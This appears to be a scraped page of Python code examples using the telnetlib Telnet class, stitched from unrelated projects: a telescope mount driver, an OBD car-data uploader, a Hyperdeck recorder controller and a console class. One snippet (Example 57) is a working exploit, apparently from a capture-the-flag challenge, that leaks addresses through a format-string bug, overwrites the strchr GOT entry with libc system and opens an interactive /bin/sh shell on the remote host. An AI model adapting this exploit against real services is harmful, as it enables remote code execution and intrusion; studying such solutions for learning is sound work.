                print("Error reading Axis2")
                return None

    def goHome(self):
        self.sendCommand(":hC#")

    def flipMount(self):
        self.sendCommand(":MF#")

    def gotoAzAlt(self, az, alt):
        dmsAz = deg2dms(az)
        dmsAlt = deg2dms(alt)
        self.sendCommand(":Sz%03u*%02u:%02u#" % dmsAz)
        self.sendCommand(":Sa%+02d*%02u:%02u#" % dmsAlt)
        self.sendCommand(":MA#")

    def gotoRaDec(self, ra, dec):
        dmsRa = deg2dms(ra)
        dmsDec = deg2dms(dec)
        res1 = self.sendCommand(":Sr%02u:%02u:%02u#" % dmsRa)
        if (res1 != '1'):
            return ("error setting RA")

        res2 = self.sendCommand(":Sd%+02d*%02u:%02u#" % dmsDec)
        if (res2 != '1'):
            return ("error setting Dec")

        res = self.sendCommand(":MS#")
        if (res != '0'):
            return ("gotoRaDec error %s:" % res)
        return ("ok")

    def enableTracking(self):
        self.sendCommand(":Te#")

    def disableTracking(self):
        self.sendCommand(":Td#")

    def enableTrackingCompensation(self):
        self.sendCommand(":Tr#")

    def disableTrackingCompensation(self):
        self.sendCommand(":Tn#")

    def getAltitude(self):
        self.altitude = dms2deg(self.getValue(':GA#')[:-1])
        return self.altitude

    def getAzimuth(self):
        self.azimuth = dms2deg(self.getValue(':GZ#')[:-1])
        return self.azimuth

    def getRA(self):
        self.RA = dms2deg(self.getValue(':GR#')[:-1])
        return self.RA

    def getDeclination(self):
        self.declination = dms2deg(self.getValue(':GD#')[:-1])
        return self.declination

    def getLatitude(self):
        self.latitude = dms2deg(self.getValue(':Gt#')[:-1])
        return self.latitude

    def getLongitude(self):
        self.longitude = dms2deg(self.getValue(':Gg#')[:-1])
        return self.longitude
Ejemplo n.º 57
0
def main():

    coordinates =  '51.492137,-0.192878 '
    libc_setsockopt_offset = 0xea8e0
    libc_system_offset = 0x3af40
    libc_binsh_offset = 0x15ef08
    strchr_got_offset = 0x505c
    
    tn  = Telnet(HOST, PORT)
    stage = 0
    while stage < 5:
        try:
            game(tn)
            stage += 1
        except:
            del(tn)
            tn  = Telnet(HOST, PORT)
            stage = 0

    
    tn.read_until(b'TARDIS KEY: ')
    tn.write(b'UeSlhCAGEp\n')
    tn.read_until(b'Selection: ')
    tn.write(b'11111111\x00')

    print('wait for alarm')
    time.sleep(3)

    tn.write(struct.pack('L', 1431907181))
    tn.write(b'11111111\xff')
    tn.write(b'1\n')
    
    
    tn.read_until(b'Selection: ')
    tn.write(b'3\n')
    
    tn.read_until(b'Coordinates: ')
    tn.write(coordinates.encode())
    tn.write('zzz%{}$p\n'.format(int((0xff8ce05c-0xff8cdc0c)/4-1)).encode())
    tn.read_until(b'zzz')
    
    base_addr = int(tn.read_some()[0:10].decode(), 16) - 0x1491
    print('base addr : {}'.format(hex(base_addr)))
    
    tn.read_until(b'Coordinates: ')

    tn.write(coordinates.encode())
    tn.write(b'zzzz')
    tn.write(struct.pack('<I', base_addr+0x500c)) 
    tn.write(b'%21$s\n')
    tn.read_until(b'zzzz')
    setsockopt_addr = struct.unpack('<I', tn.read_some()[4:8])[0]
    print('setsockopt :{}'.format(hex(setsockopt_addr)))

    libc_system = setsockopt_addr - (libc_setsockopt_offset - libc_system_offset)
    libc_binsh = setsockopt_addr - (libc_setsockopt_offset - libc_binsh_offset)

    print('system :{}'.format(hex(libc_system)))

    strchr_got = base_addr + strchr_got_offset

    print('strchr_got :{}'.format(hex(strchr_got)))

    p = FormatStr()
    p[strchr_got] = libc_system - 0x14 - 0x140000

    tn.write(coordinates.encode())
    tn.write(p.payload(20) + b'\n')

    tn.read_until(b'Coordinates: ')
    tn.read_until(b'Coordinates: ')
    tn.write(b'/bin/sh\n')
    tn.interact()
Ejemplo n.º 58
0
 debug('Connecting to {}:{}'.format(config['TELNET']['IP'],config['TELNET']['PORT']))
 try:
     tn = Telnet(config['TELNET']['IP'], config['TELNET']['PORT'], float(config['TELNET']['TIMEOUT']))
 except (ConnectionResetError,TimeoutError,ConnectionRefusedError,timeout):
      info('Connection to {}:{} not available, retrying in {} seconds...'.format(
          config['TELNET']['IP'],
          config['TELNET']['PORT'],
          config['TELNET']['FREQUENCY_LOW']
      ))
      time.sleep(int(config['TELNET']['FREQUENCY_LOW']))
      continue
 # import pdb; pdb.set_trace()
 # Engine RPM 010C
 tn.write(b'01 0C\r\n')
 time.sleep(1)
 engine_rpm=re.sub(r'01 0C41 0C | ',"",re.sub(r'[\r\n>]',"",tn.read_some().decode('UTF-8')))
 info('Received value 0x{} from Engine RPM PID 01 0C'.format(engine_rpm))
 engine_rpm = str(round(int("0x"+engine_rpm,16)/4,2))
 upload_input('010C',engine_rpm)
 info('Sent value {} for Engine RPM PID 01 0C to API {}'.format(engine_rpm,config['API']['URL']))
 #Throttle Position 0111
 tn.write(b'01 11\r\n')
 time.sleep(1)
 throttle_position=re.sub(r'01 1141 11 | ',"",re.sub(r'[\r\n>]',"",tn.read_some().decode('UTF-8')))
 info('Received value 0x{} from Throttle Position PID 01 11'.format(throttle_position))
 throttle_position = str(round(int("0x"+throttle_position,16)*100/255,2))
 upload_input('0111',throttle_position)
 info('Sent value {} for Throttle Position PID 01 11 to API {}'.format(throttle_position,config['API']['URL']))
 #Engine Temperature 0105
 tn.write(b'01 05\r\n')
 time.sleep(1)
Ejemplo n.º 59
0
class Hyperdeck:
    def __init__(self, ip_address, id) -> None:
        self.deck = Telnet(ip_address, 9993)
        self.id = id

        self.thread = Thread(target=self.listener)
        self.thread.start()

    def listener(self):
        while True:
            message = self.deck.read_some()
            print(f'//{self.id}//')
            print(message)

    def identify_standard_command(self, command, recording=0):
        if command == 'live':
            return 'preview: enable: true'
        elif command == 'clip':
            return 'preview: enable: false\r\nplayrange clear'
        elif command == 'record':
            return f'record: name: {self.id}{recording}'
        elif command == 'play':
            return 'play: single clip: true'
        elif command == 'stop':
            return 'stop'
        elif command == 'previous':
            return 'goto: clip id: -1'
        elif command == 'next':
            return 'goto: clip id: +1'
        elif command == 'beginning':
            return 'goto: clip: start'
        elif command == 'end':
            return 'goto: clip: end'

    def identify_granular_command(self, command, direction):
        if direction == 'forward':
            sign = '+'
        else:
            sign = '-'

        if command == '10%':
            return f'play: single clip: true speed: {sign}10'
        elif command == '25%':
            return f'play: single clip: true speed: {sign}25'
        elif command == '50%':
            return f'play: single clip: true speed: {sign}50'
        elif command == '75%':
            return f'play: single clip: true speed: {sign}75'
        elif command == '10s':
            return f'jog: timecode: {sign}00:00:10:00'
        elif command == '5s':
            return f'jog: timecode: {sign}00:00:05:00'
        elif command == '1s':
            return f'jog: timecode: {sign}00:00:01:00'
        elif command == '1f':
            return f'jog: timecode: {sign}00:00:00:01'

    def send_standard_command(self, command, recording=0):
        identified_command = self.identify_standard_command(command, recording)
        query = bytes(f'{identified_command}\r\n', 'ascii')
        self.deck.write(query)

    def send_granular_command(self, command, direction):
        identified_command = self.identify_granular_command(command, direction)
        query = bytes(f'{identified_command}\r\n', 'ascii')
        self.deck.write(query)
Ejemplo n.º 60
0
class TelnetConsole(ConsoleInterface):
    def __init__(self, mtda):
        self.telnet = None
        self.host = "localhost"
        self.mtda = mtda
        self.port = 23
        self.opened = False
        self.delay = 5
        self.timeout = 10

    """ Configure this console from the provided configuration"""

    def configure(self, conf):
        self.mtda.debug(3, "console.telnet.configure()")

        if 'host' in conf:
            self.host = conf['host']
        if 'port' in conf:
            self.port = conf['port']
        if 'delay' in conf:
            self.delay = conf['delay']
        if 'timeout' in conf:
            self.timeout = conf['timeout']

    def probe(self):
        self.mtda.debug(3, "console.telnet.probe()")
        result = True
        self.mtda.debug(3, "console.telnet.probe(): %s" % str(result))
        return result

    def open(self):
        self.mtda.debug(3, "console.telnet.open()")

        result = self.opened
        if self.opened == False:
            try:
                self.telnet = Telnet()
                self.telnet.open(self.host, self.port, self.timeout)
                self.opened = True
                result = True
            except:
                result = False

        self.mtda.debug(3, "console.telnet.open(): %s" % str(result))
        return result

    def close(self):
        self.mtda.debug(3, "console.telnet.close()")

        if self.opened == True:
            self.opened = False
            self.telnet.get_socket().shutdown(socket.SHUT_WR)
            self.telnet.close()
            self.telnet = None
        result = (self.opened == False)

        self.mtda.debug(3, "console.telnet.close(): %s" % str(result))
        return result

    """ Return number of pending bytes to read"""

    def pending(self):
        self.mtda.debug(3, "console.telnet.pending()")

        if self.opened == True:
            result = self.telnet.sock_avail()
        else:
            result = False

        self.mtda.debug(3, "console.telnet.pending(): %s" % str(result))
        return result

    """ Read bytes from the console"""

    def read(self, n=1):
        self.mtda.debug(3, "console.telnet.read(n=%d)" % n)

        if self.opened == False:
            time_before_open = time.time()
            self.open()
            if self.opened == False:
                # make sure we do not return too quickly if we could not connect
                self.mtda.debug(4,
                                "console.telnet.read(): failed to connnect!")
                time_after_open = time.time()
                elapsed_time = time_after_open - time_before_open
                if elapsed_time < self.delay:
                    delay = self.delay - elapsed_time
                    self.mtda.debug(
                        4,
                        "console.telnet.read(): sleeping {0} seconds".format(
                            delay))
                    time.sleep(delay)

        data = bytearray()
        try:
            while n > 0 and self.opened == True:
                avail = self.telnet.read_some()
                data = data + avail
                n = n - len(avail)
        except socket.timeout:
            self.mtda.debug(2, "console.telnet.read(): timeout!")

        self.mtda.debug(3, "console.telnet.read(): %d bytes" % len(data))
        return data

    """ Write to the console"""

    def write(self, data):
        self.mtda.debug(3, "console.telnet.write()")

        if self.opened == True:
            result = self.telnet.write(data)
        else:
            self.mtda.debug(2, "console.telnet.write(): not connected!")
            result = None

        self.mtda.debug(3, "console.telnet.write(): %s" % str(result))
        return result